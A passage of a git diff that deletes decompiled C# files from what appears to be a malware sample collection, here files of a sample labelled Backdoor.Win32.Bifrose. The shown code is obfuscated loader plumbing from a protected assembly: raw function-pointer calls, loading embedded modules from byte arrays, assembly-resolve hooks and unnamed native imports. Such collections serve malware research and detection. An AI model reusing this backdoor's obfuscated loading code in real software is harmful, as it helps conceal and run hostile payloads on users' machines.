(uint) *(int*) _param0; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - _param0 += 4; - if (_param0 >= _param1) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void \u0093(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u0082\u0093() => typeof (\u0082\u0090).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void \u0085(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u0082\u00BB.\u0083((__FnPtr) (int) num))(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u0083(__FnPtr _param0) => (__FnPtr) (IntPtr) \u0082\u00BB.\u0082\u0093().ResolveMethodHandle((int) _param0).GetFunctionPointer().ToPointer(); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0081\u00A4(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0099(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0092( - __FnPtr)> _param0, - void* _param1, - uint _param2, - int _param3, - __FnPtr _param4) - { - try - { - void* voidPtr = _param1; - int num1 = (int) _param2; - int num2 = _param3; - __FnPtr local = _param4; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(_param0)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - internal static void \u0082\u0081() - { - if (\u0082\u00BB.\u0081å != 0) - return; - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u00BB((__FnPtr) __methodptr(\u0081ú)); - } - - internal static int \u0081þ() => 0; - - internal static unsafe int \u0081ú(\u0081î* _param0) => 0; - - internal static unsafe Assembly \u0081õ(string _param0) - { - string str = _param0.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - int length = str.IndexOf(','); - if (length >= 0) - str = str.Substring(0, length).Trim(); - bool flag = str == "PvLogiciels.dotNetProtector.Runtime"; - byte[] numArray = !flag ? new byte[\u0082\u00BB.\u00A4()] : new byte[\u0082\u00BB.\u009D()]; - if (numArray == null || numArray.Length == 0) - return (Assembly) null; - GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned); - byte* pointer = (byte*) Marshal.UnsafeAddrOfPinnedArrayElement((Array) numArray, 0).ToPointer(); - if (flag) - \u0082\u00BB.ª(pointer); - else - \u0082\u00BB.\u00B3(pointer); - gcHandle.Free(); - return Assembly.Load(numArray); - } - - internal static unsafe void* \u0081ï(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - Module module = Assembly.GetExecutingAssembly().LoadModule("embedded.netmodule", numArray); - AppDomain.CurrentDomain.SetData("PvLogiciels.dotNetProtector.embedded.netmodule", (object) module); - return Marshal.GetHINSTANCE(module).ToPointer(); - } - - internal static unsafe void* \u0081â(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - return Marshal.GetHINSTANCE(Assembly.Load(numArray).GetLoadedModules()[0]).ToPointer(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Û(string[] _param0) => \u003CdotNetProtector\u003E.Main(_param0); - - internal static int \u0081Ö(string[] _param0) - { - Module data = (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - if ((object) data == null) - return \u0082\u00BB.\u0081Û(_param0); - Type type = data.GetType(""); - if ((object) type == null) - return \u0082\u00BB.\u0081Û(_param0); - MethodBase method = (MethodBase) type.GetMethod("Main", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - if ((object) method == null) - return \u0082\u00BB.\u0081Û(_param0); - object[] parameters = new object[1] - { - (object) _param0 - }; - return (int) method.Invoke((object) null, parameters); - } - - internal static Assembly \u0081Ô(object _param0, ResolveEventArgs _param1) - { - string str = _param1.Name.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); - int index = 0; - if (0 < assemblies.Length) - { - Assembly assembly; - do - { - assembly = assemblies[index]; - if (!(assembly.FullName == str)) - ++index; - else - goto label_5; - } - while (index < assemblies.Length); - goto label_6; -label_5: - return assembly; - } -label_6: - return (Assembly) null; - } - - internal static Module \u0081Í(object _param0, ResolveEventArgs _param1) => (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Ê(string[] _param0) - { - PvLogiciels.dotNetProtector.Runtime.ExeInit(typeof (RuntimeInterop), IntPtr.Zero, 0); - Assembly.GetExecutingAssembly().ModuleResolve += new ModuleResolveEventHandler(\u0082\u00BB.\u0081Í); - return \u0082\u00BB.\u0081Ö(_param0); - } - - [STAThread] - internal static int \u0081É(string[] _param0) - { - \u0082\u00BB.\u00B6(); - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0082\u00BB.\u0081Ô); - return \u0082\u00BB.\u0081Ê(_param0); - } - - internal static void \u0081È() - { - } - - internal static int \u0081Å() => 0; - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081\u00BE(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081º([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B7(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B2([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00A1(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0095([In] Exception obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0085([In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ö([In] __FnPtr obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void ì(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int é(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void à([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Ù([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe \u00AD* Ò([In] sbyte* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Ì(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int È([In] uint obj0, [In] \u0082\u00B2* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Å(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Â( - [In] int* obj0, - [In] char*** obj1, - [In] char*** obj2, - [In] int obj3, - [In] \u0082º* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A9([In] \u0082\u00B2* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00BB([In] __FnPtr obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B6(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u00B3([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ª([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u00A4(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u009D(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0098([In] int obj0, [In] void* obj1, [In] void* obj2, [In] void* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0096([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u0087([In] byte* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u008B([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081ø(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint \u0082([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00B9([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AF([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AB([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ø([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00A1([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0096([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u008B([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0082([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] sbyte** obj3, - [In] byte obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6, - [In] byte obj7); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð([In] byte* obj0, [In] void* obj1, [In] void* obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte** obj5); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte* obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] byte* obj5, - [In] ushort obj6, - [In] ushort obj7, - [In] sbyte** obj8); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00B4([In] byte* obj0, [In] uint* obj1, [In] byte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00D7([In] byte* obj0, [In] byte* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ([In] byte* obj0, [In] uint obj1, [In] ushort obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] sbyte* obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] byte* obj3, - [In] ushort obj4, - [In] ushort obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Ã([In] byte* obj0, [In] void* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ä([In] byte* obj0, [In] void* obj1, [In] sbyte* obj2, [In] byte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2, [In] ulong* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ( - [In] byte* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ulong obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ([In] byte* obj0, [In] void* obj1, [In] uint obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u00A1([In] byte* obj0, [In] ulong obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ª([In] byte* obj0, [In] sbyte* obj1, [In] int obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A5([In] byte* obj0, [In] sbyte* obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void Ý([In] byte* obj0, [In] sbyte* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0081\u009B(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong Ï(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern long Ç(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong \u0081\u008C(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0086(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081( - [In] byte* obj0, - [In] void* obj1, - [In] int* obj2, - [In] sbyte* obj3, - [In] int obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081([In] byte* obj0, [In] void* obj1, [In] int obj2, [In] int obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u00B7([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void ù(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* ô([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* î([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0095([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ã([In] void* obj0, [In] int obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Õ(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0084([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u009A([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AE([In] void* obj0, [In] void* obj1, [In] int obj2, [In] void* obj3); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0086.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0086.cs deleted file mode 100644 index 3c42a30c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0086.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.† -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 60)] - internal struct \u0086 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0088.cs deleted file mode 100644 index 6974d024..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_0088.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847/_0082¼/_008D.cs 